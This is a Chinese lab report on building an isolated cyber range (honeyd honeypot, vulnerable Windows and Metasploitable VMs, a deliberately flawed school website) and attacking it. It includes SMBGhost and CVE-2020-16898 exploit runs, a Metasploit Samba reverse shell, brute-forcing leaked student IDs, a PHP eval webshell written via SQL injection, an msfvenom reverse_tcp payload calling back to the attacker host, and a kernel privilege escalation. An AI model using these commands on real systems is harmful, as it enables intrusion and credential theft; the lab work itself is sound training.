目录

  • 一,靶场环境搭建
    • 1.1,网络拓扑结构图
    • 1.2,搭建简易的网络攻防实验靶场环境,包括:
    • 1.3,网络靶场攻击渗透测试,包括:
    • 1.4,网络靶场攻击检测
  • 二,靶场的搭建与攻击渗透测试
    • 2.1,Honeyd
      • 2.1.1,honeyd概述
      • 2.1.2,honeyd所依赖的函数库
      • 2.1.3,搭建honeyd
      • 2.1.4,编写honeyd的配置文件
      • 2.1.5,启动honeyd
      • 2.1.6,检查honeyd搭建情况
    • 2.2,具有“永恒之黑”CVE-2020-0796漏洞的虚拟主机
      • 2.2.1,漏洞概述
      • 2.2.2,复现环境
      • 2.2.3,漏洞检测
      • 2.2.4,蓝屏攻击复现
      • 2.2.5,远程提权复现
    • 2.3,对Metasploitable2 靶机的扫描和提权
      • 2.3.1,搭建Metasploitable2 靶机
        • 2.3.1.1,Metasploit框架介绍
        • 2.3.1.2,搭建Metasploitable 2
      • 2.3.2,攻击一:使用msf扫描靶机上mysql服务的空密码
      • 2.3.3,攻击二:利用usermap_script漏洞获取获得靶机的管理员权限
    • 2.4,具有CVE-2020-16898漏洞的虚拟主机
      • 2.4.1,漏洞描述
      • 2.4.2,漏洞复现
      • 2.4.3,漏洞分析
    • 2.5, 学校主页类型的Web网站的搭建与攻击
      • 2.5.1,服务器环境搭建
        • 2.5.1.1,服务器XAMPP部署
        • 2.5.1.2,网页源码及内容部署
        • 2.5.1.3,服务器内核更换
        • 2.5.1.4,服务器gcc安装
      • 2.5.2,Web渗透
        • 2.5.2.1,Nmap、dirb扫描
        • 2.5.2.2,phpinfo泄露
        • 2.5.2.3,弱密码爆破
        • 2.5.2.4,修改密码逻辑漏洞——水平提权
        • 2.5.2.5,修改密码SQL注入漏洞——getshell
        • 2.5.2.6,获取数据库密码
        • 2.5.2.7,MSF反弹shell
        • 2.5.2.8,内核漏洞利用——本地提权
        • 2.5.2.9,网站管理员密码重置
  • 三,网络靶场攻击检测
    • 3.1,Snort及AppServ简介
      • 3.1.1,Snort简介
      • 3.1.2,AppServ简介
    • 3.2,搭建Snort及AppServ
      • 3.2.1,安装Snort
      • 3.2.3,安装AppServ
        • 3.2.3.1,在MySql中创建snortdb和snortarc,以及所需的数据表
        • 3.2.3.2,配置base
    • 3.3,Snort检测情况
      • 3.3.1,Kali使用nmap扫描局域网
      • 3.3.2,Metasploit渗透攻击检测

一,靶场环境搭建

1.1,网络拓扑结构图

1.2,搭建简易的网络攻防实验靶场环境,包括:

  • 使用honeyd软件实现低交互模拟蜜罐,要求能够模拟主机、服务、漏洞和网络拓扑。
  • 多台具有不同类型漏洞的虚拟机系统。
  • 具有漏洞学校站点类型的Web网站系统。

1.3,网络靶场攻击渗透测试,包括:

  • 使用扫描工具对网络靶场进行探测扫描,获取主机信息,分析发现漏洞信息
  • 使用metasploit等攻击工具对网络靶场进行攻击,达到获取管理员权限、进程操作、窃取数据库密码、篡改管理员密码、被迫蓝屏、等攻击效果

1.4,网络靶场攻击检测

  • 在honeyd模拟蜜罐观察到访问记录
  • 虚拟机上部署入侵检测工具snort,检测并采集攻击信息,通过日志文件、告警文件等方式进行记录分析

二,靶场的搭建与攻击渗透测试

2.1,Honeyd

2.1.1,honeyd概述

蜜罐技术(Honeypot),是一种对攻击方进行欺骗的技术,通常伪装成看似有价值的网络、数据、电脑系统,并故意设置bug来吸引攻击者;从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护和能力。蜜罐是故意让人攻击的目标,引诱黑客前来攻击。所以攻击者入侵后,你就可以知道他是如何得逞的,随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系,手机黑客所用的种种工具,并且掌握他们的是社交网络。

2.1.2,honeyd所依赖的函数库

(1) Libevent:是一个非同步事件通知的函数库。通过使用Libevent,开发者能够设定某些事件发生时所运行的函数,能够取代以往程序所使用的循环检查。
(2) Libdnet:是一个提供了跨平台的网络相关API的函数库,包含arp缓存,路由表查询,IP包及物理帧的传输等。
(3) Libpcap:是一个数据包捕获的函数库,大多数网络软件都以它为基础。
(4) Arpd:arpd执行在于Honeyd同样的系统上。是honeyd众多协作工具中最重要的一个。Arpd工作时监视局域网内的流量。并通过查看hneyd系统的ARP表推断其它系统的活动与否。
(5) zlib:Linux核心使用zlib以实作网络协定的压缩、档案系统的压缩以及开机时解压缩自身的核心。

2.1.3,搭建honeyd

将所有库的安装包及工具放在honeyd文件夹中,依次解压并安装
(1)Libevent安装:

使用tar -zxvf libevent-1.4.14b-stable.tar.gz解压缩
使用cd libevent-1.4.14b-stable进入文件夹
使用./configure检测目标特征
使用make进行编译
使用make install安装

(2)libdnet安装:

tar -zxvf libdnet-1.11.tar.gz
cd libdnet-1.11
./configure
make
make install

(3)libpcap的安装

tar -zxvf libpcap-1.3.0.tar.gz
cd libpcap-1.3.0
./configure
make
make install

(4)honeyd安装

tar -zxvf honeyd-1.5c.tar.gz
cd honeyd-1.5c
./configure
make
make install

(5)arpd安装

tar -zxvf tar-0.2.tar.gz
cd arpd-0.2
./configure
make
make install

2.1.4,编写honeyd的配置文件

(1)honeyd的配置文件hoenyd.conf

route entry 192.168.43.153 network 192.168.43.144/28
route 192.168.43.153 link 192.168.43.152/29  route 192.168.43.153 add net 192.168.43.156/30 192.168.43.157
route 192.168.43.157 link 192.168.43.165/30create windows
set windows personality "Microsoft Windows 2000 SP2"
set windows default tcp action reset
set windows default udp action reset
set windows default icmp action open
add windows tcp port 110 "/usr/share/honeyd-1.5c/scripts/pop3.pl"
add windows tcp port 80 "/usr/share/honeyd-1.5c/scripts/web.sh"
add windows tcp port 25 "/usr/share/honeyd-1.5c/scripts/smtp.pl"
add windows tcp port 23 "/usr/share/honeyd-1.5c/scripts/router-telnet.pl"
add windows tcp port 21 proxy 192.168.43.1:21create linux
set linux personality "Linux 2.4.20"
set linux default tcp action reset
set linux default udp action reset
set linux default icmp action open
add linux tcp port 80 "/usr/share/honeyd-1.5c/scripts/web.sh"
add linux tcp port 23 "/usr/share/honeyd-1.5c/scripts/router-telnet.pl"
add linux tcp port 22 "/usr/share/honeyd-1.5c/scripts/ssh.sh"
add linux tcp port 21 proxy 192.168.43.1:21
add linux tcp port 20 opencreate router
set router personality "Cisco 7206 running IOS 11.1(24)"
set router default tcp action reset
add router tcp port 23 "/usr/share/honeyd-1.5c/scripts/router-telnet.pl"  bind 192.168.43.153 router
bind 192.168.43.156 router  bind 192.168.43.154 windows
bind 192.168.43.155 linux
bind 192.168.43.157 windows
bind 192.168.43.158 linux

(2)ssh端口的配置文件ssh.sh

# $1: srcip, $2: srcport, $3: dstip, $4: dstport, $5: config
#
# modified by Fabian Bieker <fabian.bieker@web.de>
# modified by DataSoft Corporation
#. scripts/misc/base.sh
SRCIP=$1
SRCPORT=$2
DSTIP=$3
DSTPORT=$4STRINGSFILE=$5
VERSION=`perl -nle '/SSH_VERSION (.*)/ and print $1' < $STRINGSFILE`SERVICE="ssh"
HOST="serv"my_startecho -e "$VERSION"while read name; doecho "$name" >> $LOGLINE=`echo "$name" | egrep -i "[\n ]"`if [ -z "$LINE" ]; thenecho "Protocol mismatch."my_stop   elseecho "$name"fi
done
my_stop

(3)web端口的配置文件web.sh

REQUEST=""
while read name
doLINE=`echo "$name" | egrep -i "[a-z:]"`if [ -z "$LINE" ]thenbreakfiecho "$name" >> /tmp/logNEWREQUEST=`echo "$name" | grep "GET .scripts.*cmd.exe.*dir.* HTTP/1.0"`if [ ! -z "$NEWREQUEST" ] ; thenREQUEST=$NEWREQUESTfi
doneif [ -z "$REQUEST" ] ; thencat << _eof_
HTTP/1.1 404 NOT FOUND
Server: Microsoft-IIS/5.0
P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI'
Content-Location: http://cpmsftwbw27/default.htm
Date: Thu, 04 Apr 2002 06:42:18 GMT
Content-Type: text/html
Accept-Ranges: bytes<html><title>You are in Error</title>
<body>
<h1>You are in Error</h1>
O strange and inconceivable thing! We did not really die, we were not really buried, we were not really crucified and raised again, but our imitation was but a figure, while our salvation is in reality. Christ was actually crucified, and actually buried, and truly rose again; and all these things have been vouchsafed to us, that we, by imitation communicating in His sufferings, might gain salvation in reality. O surpassing loving-kindness! Christ received the nails in His undefiled hands and feet, and endured anguish; while to me without suffering or toil, by the fellowship of His pain He vouchsafed salvation.
<p>
St. Cyril of Jerusalem, On the Christian Sacraments.
</body>
</html>
_eof_exit 0
fiDATE=`date`
cat << _eof_
HTTP/1.0 200 OK
Date: $DATE
Server: Microsoft-IIS/5.0
Connection: close
Content-Type: text/plainVolume in drive C is Webserver      Volume Serial Number is 3421-07F5Directory of C:\inetpub01-20-02   3:58a      <DIR>          .
08-21-01   9:12a      <DIR>          ..
08-21-01  11:28a      <DIR>          AdminScripts
08-21-01   6:43p      <DIR>          ftproot
07-09-00  12:04a      <DIR>          iissamples
07-03-00   2:09a      <DIR>          mailroot
07-16-00   3:49p      <DIR>          Scripts
07-09-00   3:10p      <DIR>          webpub
07-16-00   4:43p      <DIR>          wwwroot0 file(s)              0 bytes20 dir(s)     290,897,920 bytes free
_eof_

(4)路由器的配置文件router.pl

#!/usr/bin/perl
# Copyright 2002 Niels Provos <provos@citi.umich.edu>
# All rights reserved.
#
# For the license refer to the main source code of Honeyd.
#
# Don't echo Will Echo Will Surpress Go Ahead
$return = pack('ccccccccc', 255, 254, 1, 255, 251, 1, 255, 251, 3);
syswrite STDOUT, $return,9;$count = 0;
while ($count < 3) {do {$count++;syswrite STDOUT, "\r\n";$word = read_word("Username: ", 1);} while (!$word && $count < 3);if ($count >= 3 && !$word) {exit;}$password = read_word("Password: ", 0);if (!$password) {syswrite STDOUT, "% Login invalid\r\n";} else {syswrite STDERR, "Attempted login: $word/$password";syswrite STDOUT, "% Access denied\r\n";}
}exit;sub read_word {local $prompt = shift;local $echo = shift;local $word;syswrite STDOUT, "$prompt";$word = "";$alarmed = 0;eval {local $SIG{ALRM} = sub { $alarmed = 1; die; };alarm 30;$finished = 0;do {$nread = sysread STDIN, $buffer, 1;die unless $nread;if (ord($buffer) == 0) {; #ignore} elsif (ord($buffer) == 255) {sysread STDIN, $buffer, 2;} elsif (ord($buffer) == 13 || ord($buffer) == 10) {syswrite STDOUT, "\r\n" if $echo;$finished = 1;} else {syswrite STDOUT, $buffer, 1 if $echo;$word = $word.$buffer;}} while (!$finished);alarm 0;};#syswrite STDOUT, "\r\n" if $alarmed || ! $echo;#if ($alarmed) {# syswrite STDOUT, "% $prompt timeout expired!\r\n";#return (0);#}return ($word);
}

2.1.5,启动honeyd

在命令行中输入:honeyd -d -f test.conf -I ens33

2.1.6,检查honeyd搭建情况

(1)Nmap扫描查看honeyd
可以看到192.168.43.152—192.168.43.159和192.168.43.164—192.168.43.167部分的主机物理地址全都是F8:89:D2:82:B5:C7

(2)Telent连接测试
Kali使用telent命令。连接192.168.43.155,观察日志文件和连接结果,输入命令:telnet 192.168.43.155,检测结果如下图,来凝结成功,但是因为不知道用户名和密码,输入三次用户名和密码后直接退出

查看honeyd的连接信息


(3)Ssh连接
使用命令:ssh root@192.168.43.155观察该主机的ssh连接情况

观察honeyd的返回信息,禁止连接,与配置文件相符


(4)Web运行
在浏览器输入URL:192.168.43.155,检查web运行情况,如下图所示,与配置文件相符

查看honeyd返回信息,成功运行web脚本

2.2,具有“永恒之黑”CVE-2020-0796漏洞的虚拟主机

2.2.1,漏洞概述

2020年3月12日,微软发布安全公告披露了一个最新的SMBv3(3.1.1)远程代码执行漏洞(CVE-2020-0796),俗称“永恒之黑”。
SMB(Server Message Block)协议作为一种局域网文件共享传输协议,常被用来作为共享文件安全传输研究的平台。本漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,攻击方可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。永恒之黑一旦被成功利用,其危害不亚于永恒之蓝。
同时,CVE-2020-0796漏洞与“永恒之蓝”系列漏洞极为相似,都是利用Windows SMB漏洞远程攻击获取系统最高权限。“永恒之黑”漏洞高危之处在于对SMB客户端的攻击,攻击者可以通过构造一个“特制”的网页、压缩包、共享目录、OFFICE文档等,向攻击目标发送,一旦被攻击者打开则瞬间触发漏洞受到攻击

漏洞危害等级:高危
漏洞影响范围 :
永恒之黑的对象为采用Windows 10 1903之后的所有终端节点,如Windows家用版、专业版、企业版、教育版,Windows 10 1903 (19H1)、Windows 10 1909、 Windows Server 19H1均为潜在攻击目标,Windows 7不受影响。

2.2.2,复现环境

靶机:cn_windows_10_consumer_editions_version_1903_x64 (关闭防火墙)、
攻击机:kali 2021.3
(1)关闭靶机Windows 10的更新服务和防火墙
首先找到设置→Windows安全中心,关闭防火墙等多项设置


然后进入:服务找到Windows update→选择禁用


(2)开启Administrator账户
管理→本地用户和组→用户→双击administrator→把账户已禁用勾掉

去掉勾后,返回上一级,右键administrator–设置密码

之后重启电脑,用administrator账户登录

2.2.3,漏洞检测

(1)通过git命令下载检测CVE-2020-0796漏洞的python脚本,脚本的存放文件夹为“SMBGhost”
git clone https://github.com/ollypwn/SMBGhost.git

(2)利用脚本“scanner.py”检测目标主机是否存在该漏洞
“Vulnerable”表明该Windows10主机存在漏洞,具有脆弱性

2.2.4,蓝屏攻击复现

(1)在攻击机Kali-Linux上下载该漏洞蓝屏攻击的PoC
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git

(2)使用python3安装刚才下载的PoC
python3 setup.py install


(3)利用PoC对Windows10靶机进行攻击
python3 CVE-2020-0796.py 192.168.31.137

(4)Windows10蓝屏后被迫重启,故利用CVE-2020-0796漏洞成功进行蓝屏攻击

2.2.5,远程提权复现

(1)下载漏洞攻击的脚本
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

(2)使用msf生成漏洞攻击的脚本evil.py

(3)为了防止操作失误,将exploit.py原文件文件进行备份

(4)将exploit.py的USER_PAYLOAD部分删除,替换为evil.py里生成的payload。替换之后,追加一行“USER_PAYLOAD = buf”(为方便修改,将文件放在window主机里替换)

(5)在kali攻击机的另一个窗口开启MSF监听


并设置相关参数:

(6)执行exploit.py脚本对靶机Windows10进行攻击

(7)返回查看开启了MSF的窗口,已成功建立远程连接,并获得了管理员权限system32



(8)在Windows10上查看端口列表,这一远程连接存在

2.3,对Metasploitable2 靶机的扫描和提权

2.3.1,搭建Metasploitable2 靶机

2.3.1.1,Metasploit框架介绍

Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞。这个版本的虚拟系统兼容VMware,VirtualBox,和其他虚拟平台。默认只开启一个网络适配器并且开启NAT和Host-only,本镜像一定不要暴漏在一个易受攻击的网络中。
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。在kali上已安装metasploit

2.3.1.2,搭建Metasploitable 2

(1) 从metasploit网站中下载压缩包,随后将压缩包解压缩

(2) 打开Vmware Workstation,选择“打开虚拟机”

(3) 选择解压缩出来的.vmx文件

(4) 修改靶场的网络配置

(5) 将网络适配器中的NAT,改为桥接模式(本次实验环境在不同主机之间进行,在一个局域网下进行攻击)

(6) 开启虚拟机

  1. 操作之前需要登录,登录的账号和密码都为”msfadmin”,输入后成功进入

  2. 查看靶机的ip地址

  3. 靶机ip地址:192.168.43.20

    攻击者(kali)ip地址:192.168.43.230

2.3.2,攻击一:使用msf扫描靶机上mysql服务的空密码

  1. 进入管理员权限,打开metasploit工具准备攻击



2. 搜索mysql登录模块,查看可能存在的MySQL漏洞
3. 搜索到了一个漏洞,利用此漏洞进行攻击尝试。加载模块

4. 查看模块配置项

  1. 3下面我们进行攻击前的配置:
    配置要爆破的用户(root):
    Set username root
    开启为所有用户尝试连接空密码:
    Set blank_passwords true
    参数:BLANK_PASSWORDS 含意:Try blank passwords for all users #为所有用户尝试空 密码 。
    设置目标主机:
    Set rhost 192.168.43.204

  2. 配置完成后我们执行exploit或者run进行攻击
    其中显示对于两主机的3306端口,success “root” 说明已经成功扫描到了root用户

  3. 使用后端凭证,列出数据库中的所有凭据

  4. 将扫描的结果导出
    将文件导出至kali主机的root/xml/bak1.xml文件下
    注:导出只支持两种格式:xml和pwdump
    常用的导出格式为xml

2.3.3,攻击二:利用usermap_script漏洞获取获得靶机的管理员权限

  1. 漏洞信息
    Samba 介绍:
    Samba是linux和unix系统上实现smb协议的一个免费软件,由客户机和服务器构成。SMB是一种在局域网上实现共享文件和打印机的协议。存在一个服务器,客户机通过该协议可以服务器上的共享文件系统和打印机以及其他的资源。通过设置,还可以和全世界的电脑分享资源。
    Username map script漏洞:
  • Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行
  • 影响Samba的3.0.20到3.0.25rc3 版本
  • 当使用非默认的用户名映射脚本配置选项时产生
  • 通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令
    开放端口及对应服务:
      TCP:
  • 139 - 文件和打印共享 ; smbd (基于SMB(Server Message Block)协议,主要在局域网中使用,文件共享协议)
  • 389 - 用于 LDAP (Active Directory Mode)
  • 445 - NetBIOS服务在windos 2000及以后版本使用此端口, (Common Internet File System,CIFS,它是SMB协议扩展到Internet后,实现Internet文件共享)
  • 901 - 用于 SWAT,用于网页管理Samba
      UDP:
  • 137 - NetBIOS 名字服务 ; nmbd
  • 138 - NetBIOS 数据报服务
  1. 已知靶机的SMB协议已打开,搜索samba,查看可以利用的相关漏洞模块

    3.发现其存在usermap_script漏洞,利用其漏洞
    use exploit/multi/samba/usermap_script

显示没有payload,无法进行攻击,我们稍后将配置payload
4. 进入后,查看模块配置

  1. 配置相关信息:设置目标主机的ip地址和端口

  2. 由于前面的默认payload是一个监听攻击,而此处我们希望进行提权攻击,因此查找payload

  3. 找到payload cmd/unix/reverse,利用reverse payload给主机反弹shell

  4. 配置好后进行攻击

最后一行显示shell session 1 opened,证明已经提权成功
9. 查看靶机信息(用户名,主机名,主机型号和口令)

  1. 进入bin目录增加一个文件,文件名为“2021-12-17”

说明已成功提权,可以操控靶机!

2.4,具有CVE-2020-16898漏洞的虚拟主机

2.4.1,漏洞描述

(1) 组件概述
TCP/IP是Internet上使用的通信协议。从Windows XP/Server 2003开始,TCP/IP成为操作系统的核心组件。其功能在内核级别运行,并由驱动程序tcpip.sys提供。该驱动程序处理所有传入和传出的TCP/IP通信信息,包括解析从网络接口收到的数据包,以及解释此数据并将其传递给更高级别的组件。
(2) 漏洞简述
2020年10月14日,Microsoft发布了该TCP/IP远程代码执行漏洞的风险通告。该漏洞主要是由于Windows TCP/IP堆栈在处理选项类型为25(0x19,递归DNS服务器选项)且长度字段值为偶数的ICMPv6的路由广播数据包时,处理逻辑存在纰漏,导致存在远程代码执行漏洞。成功利用该漏洞的攻击者可以在目标机器(主机或服务器)上执行任意代码。
漏洞影响的Windows系统版本有Microsoft Windows 10 1709、Microsoft Windows 10 1803、Microsoft Windows 10 1809、Microsoft Windows 10 1903、Microsoft Windows 10 1909、Microsoft Windows 10 2004、Microsoft Windows Server 2019、Microsoft Windows Server, version 1903、Microsoft Windows Server, version 1909、Microsoft Windows Server, version 2004。

2.4.2,漏洞复现

下载一个存在该漏洞的Win10镜像(此处选择的是Windows 10 1903),安装虚拟机:

关闭靶机的防火墙:

在另一台Win10系统攻击机中安装python3.7并下载scapy组件,下载漏洞exp脚本,根据攻击机和靶机的实际情况将脚本中的源ipv6地址和目标ipv6地址进行修改:

运行脚本,向靶机连续发送构造的ICMPv6路由器广告数据包:

靶机蓝屏重启:

2.4.3,漏洞分析

根据通过公开信息和补丁可以大致定位漏洞发生位置在Ipv6pUpdateRDNSS函数中。
Router Advertisement协议的报文格式如下:

其中比较重要的几个字段解释如下:

  • Type占一个字节,RDNSS选项类型的值为25(0x19);
  • Length占一个字节,如果该选项中包含一个 IPv6 地址,则长度取最小值3,每增加一个 RDNSS 地址,长度就会增加2,接收器使用“长度”字段来确定选项中IPv6地址的数量;
  • Addresses of IPv6 Recursive DNS Servers为可变长度(由“Length”字段确定),记录一个或多个递归DNS服务器的 128 位 IPv6 地址,地址个数为(Length - 1)/ 2。
    根据协议规定,length字段必须为不小于3的奇数。但是当遏抑构造数据包使传入的length值为偶数2时,根据协议,(2-1)/2 = 0,此数据包会被判断为没有地址,从而RDNSS选项的最后八个字节被错误地当作下一个选项的前八个字节。
  • 根据此原理,可以对下一选项的前八个字节内容进行控制,从而字段type可以被伪造。根据type的不同值,可以进而控制程序流。
  • 此时函数有三种type值,分别为3:break;24:Route Information Option;25:RDNSS Option。其中25正是出发漏洞的地方,因此24可以被选择利用。当type为24时,会调用NdisGetDataBuffer函数,该函数原型如下图所示:
  • 第一个参数 NetBuffer 为一个指向 NET_BUFFER 结构的指针;第二个参数 BytesNeeded 为请求数据的长度;第三个参数 Storage 为指向缓冲区的指针,如果调用者不提供缓冲区,则为 NULL。如果此值非 NULL 且请求的数据不连续,则 NDIS 会将请求的数据复制到 Storage 指向的缓冲区。
  • 倘若对Ipv6数据进行分段,构造并发送非连续的数据包,则重新组合的数据包数据会以非连续的方式存储在NET_BUFFER中。如此一来,对NdisGetDataBuffer的调用就会从构造的数据包中复制任意数量的字节到堆栈中的固定大小的缓冲区中,导致基于堆栈的缓冲区溢出,使得攻击者可以用任意的值覆盖tcpip!Ipv6pHandleRouterAdvertisement的返回地址。
  • 在上述漏洞复现过程中,所发送的数据包导致栈上溢出,溢出的内容覆盖了栈上的security_cookie标志(如下图所示),所以触发触发tcpip!_security_check_cookie,造成蓝屏(BSOD)。

    从蓝屏的终止代码也能反映出该原因:

2.5, 学校主页类型的Web网站的搭建与攻击

2.5.1,服务器环境搭建

2.5.1.1,服务器XAMPP部署

服务器:Ubuntu 20.04
XAMPP(Apache+MySQL+PHP+PERL)安装及部署:
下载安装包,版本选择7.4.26

解压安装xampp

安装目录:/opt/lampp/

安装成功:

切换到root用户,设置MySQL、phpadmin user pma、FTP的密码,选择复杂度较高的密码。

XAMPP环境启动成功:

Phpmyadmin搭建成功,http://ip/phpmyadmin/可以访问。

2.5.1.2,网页源码及内容部署

构建学校站点类型的网页,具有网站首页、学校概况、德语视窗、教研教学、外语特色、国际交流、学子风采、学校咨询、万能表单、联系我们这几个模块,这些模块主要是可浏览的模块。

网站还有注册功能、登录功能、找回密码功能。注册功能在搭建完成以后不会开启,主要是用于搭建时注册部分学生的账号。找回密码功能暂时没有实现。网站搭建完成后会开启登录功能,用户可使用正确的账号和密码登录用户中心。个人中心里面提供修改密码、绑定手机、上传头像等功能。
登录功能:

个人中心:

可以修改相关信息:

修改密码功能:

2.5.1.3,服务器内核更换

更换服务器Ubuntu的内核版本为5.8.0-48,该版本的内核具有漏洞,可利用提权。
首先安装5.8.0-48版本的内核

修改GRUB引导相关的配置文件:

重启,uname -r命令查看内核版本,内核更换成功。

2.5.1.4,服务器gcc安装

为了利用上面内核相关的可本地提权的漏洞,需要将利用脚本.c文件编译为elf文件,故在Ubuntu上安装gcc。
安装gcc:


安装libc

网站环境搭建完成。

2.5.2,Web渗透

2.5.2.1,Nmap、dirb扫描

查看本机(攻击机)IP,为192.168.43.250


使用nmap扫描整个网段
使用nmap全面扫描IP为192.168.43.149的主机,其开放了21、22、80、443、3306端口和相应服务。还通过robots.txt扫出了可能存在phpinfo.php
使用dirb扫描192.168.43.149的后台目录
访问http://192.168.43.149/,为网站首页


访问http://192.168.43.149/admin/,应该是网站管理员的登录界面

2.5.2.2,phpinfo泄露

访问http://192.168.43.149/phpinfo.php


网站根目录为/opt/lamp/htdocs

2.5.2.3,弱密码爆破

网站外表暂时未发现可利用的漏洞,浏览页面未发现注入,下面尝试获取一个账号进行登录。登陆需要用户名和密码,在学校网页的学校资讯——学校公告里发现两条可以利用的通知:

助学金推荐名单公示中泄露了92位学生的姓名与学号:


评教的通知中显示学校官网的个人中心使用学号和学号后六位作为初始密码:


可能助学金公示名单中的学生中未修改密码的情况,下面将学号及姓名信息复制到本地的login.txt中,使用python提取11位学号及后6位作为密码

提取脚本:读出login.txt中每一行,若以”1”开头,即将后11位写到id.txt中,作为学号,将后6位写到pwd.txt中,作为密码。

运行脚本,生成id.txt及pwd.txt
部分学号与初始密码:

访问登陆界面,输入用户名:1,密码:2,Burp suite抓包,转到intruder模块,将M_login和M_pwd字段设置为爆破点,攻击模式选择鱼叉模式。

设置payload:1位置选择id.txt,2位置选择pwd.txt
学号及对应初始密码已导入:

爆破,响应包length降序排序,发现3654长度的包有一个与其他3614长度的不一样,响应包内容中有success提示,猜测爆破出了一个正确的学号19110270213和密码270213。


使用学号19110270213和密码270213登录,成功登录:

2.5.2.4,修改密码逻辑漏洞——水平提权

已经登录,发现有修改密码选项,检测一下是否存在水平越权。


填写原密码、新密码,点击修改
Burp suite抓包,使用repeater模块


将代表学号的M_login字段的191110270213修改为任意一位已知学生的学号,这里选择18106230103,密码设为20211218,发送,响应包显示success。

使用刚刚修改的学号及设定的密码登录:

登录成功,存在水平越权:

说明后端在修改密码处根据M_login判断用户身份,有可能直接将M_login放入SQL语句中进行查询,尝试在学号后加”’”,测试是否存在注入
响应包显示SQL语法错误,说明没有对M_login的内容进行检查和过滤,可能存在字符型的SQL注入。

2.5.2.5,修改密码SQL注入漏洞——getshell

将修改密码的POST包内容复制到桌面的1.txt中,使用sqlmap扫描,命令:sqlmap -r 1.txt


扫描结果:没有可注入的地方,可能是因为没有回显,所以扫不出来。

不过上面通过phpinfo.php我们已经知道了网站根目录,虽然不知道MySQL有没有写权限,还是尝试一下手工注入,使用SQL语句向网站根目录写一个一句话木马。
一句话内容:<?php @eval($_POST[“20211218”]);?> ,然后使用十六进制进行编码


通过SQL语句写入一句话前:没有该木马


SQL注入点写一句话木马:
响应包显示success,写入成功。


浏览器访问木马:可以访问到,不过十六进制的一句话木马没有显示出来

中国蚁剑连接:

Getshell

2.5.2.6,获取数据库密码

网站在被访问时需要连接数据库,开始时应该会通过php连接MySQL,下面通过蚁剑在网站根目录下的function文件夹中找到conn.php,里面写着MySQL数据库的root用户的登录密码。



尝试访问该网站的phpmyadmin,显示部署了phpmyadmin,所以可以使用刚刚得到的密码进行登录数据库:

登录成功,拿到数据库:

2.5.2.7,MSF反弹shell

使用中国蚁剑的虚拟终端可以在服务器上执行命令,但是发现当前用户是一个普通用户daemon。


查看内核版本,为5.8.0-48

搜索5.8.0-48 Linux内核的漏洞,发现CVE-2021-22555影响到该版本的内核。


攻击者下载好利用脚本exploit.c,使用蚁剑上传到服务器的/tmp目录下


使用蚁剑的虚拟终端,在/tmp中使用gcc编译exploit.c,然后./exp执行

但是执行多次都没有成功提权,可能蚁剑不稳定,故考虑使用msf获取一个反弹shell,然后再使用反弹shell进行提权。

在攻击者桌面使用命令Msfvenom -p linux/x86-meterpreter/reverse_tcp LHOST=192.168.43.250 LPORT=4444 -f elf > backdoor.elf
生成一个针对Linux目标主机的payload:backdoor.elf,执行后将会连接到攻击者的4444端口


使用蚁剑将backdoor.elf上传到服务器的/tmp下


打开msfconsole,使用exploit/multi/handle模块,设置payload的类型、IP、端口,然后exploit开始监听本机的4444端口

使用蚁剑的虚拟终端在服务器的/tmp下给刚刚上传的backdoor.elf赋予执行权限,然后./backdoor.elf执行

Msf拿到一个反弹shell

使用meterpreter得到当前用户仍为daemon

Meterpreter中使用shell命令,进入到类似于蚁剑的虚拟终端,不过meterpreter中的shell输入命令的地方没有缩进,即输入命令前不会显示”当前用户名@主机名 $”,,直接显示了光标,不影响使用。

2.5.2.8,内核漏洞利用——本地提权

下面使用meterpreter的shell进行本地提权,在服务器/tmp下,多次执行./exp,同时使用whoami查看是否提权成功。多次执行./exp后终于变为root用户。
红框处为输入的命令:


提升为root,可以进入/root目录了,之前daemon没有权限进入该目录。

进行文件操作:

进行服务器root用户密码重置:

进程操作:ps查看进程,716号进程问sshd服务

使用命令kill -s 9 716杀死sshd进程


成功kill 进程。

2.5.2.9,网站管理员密码重置

之前通过dirb扫目录发现了http://192.168.43.149/amdin,为网站管理员登录界面,下面尝试登录:


首先需要知道管理员用户名,猜测可能有admin,不过我们之前已经拿下了数据库,可以直接在数据库中找一找相关的表项:
Schoolweb数据库中sl_admin表中显示存在一个A_login字段内容为admin的一条记录。


使用admin及弱密码admin尝试登陆,密码错误。发现有忘记密码选项,点击。


点击找回密码工具,点击下载重置密码工具,只需要将pwd.php放在网站根目录下即可。



Pwd.php已准备好,由于做到这一步时蚁剑自己关闭了,所以直接用meterpreter的shell在服务器上使用wget命令下载pwd.php
需要将pwd.php放在攻击机的/var/www/html下


打开apache服务

使用之前建立的反弹shell在服务器上使用wget命令下载pwd.php

但是显示HTTP 500 ,所以还是使用蚁剑重新连接一次然后上传文件吧

上传成功,可以访问http://192.168.43.149/pwd.php,此时可以任意重置网站管理员admin的密码了。


使用admin及刚刚设置的密码登录,可以成功拿到网站后台管理:


三,网络靶场攻击检测

3.1,Snort及AppServ简介

3.1.1,Snort简介

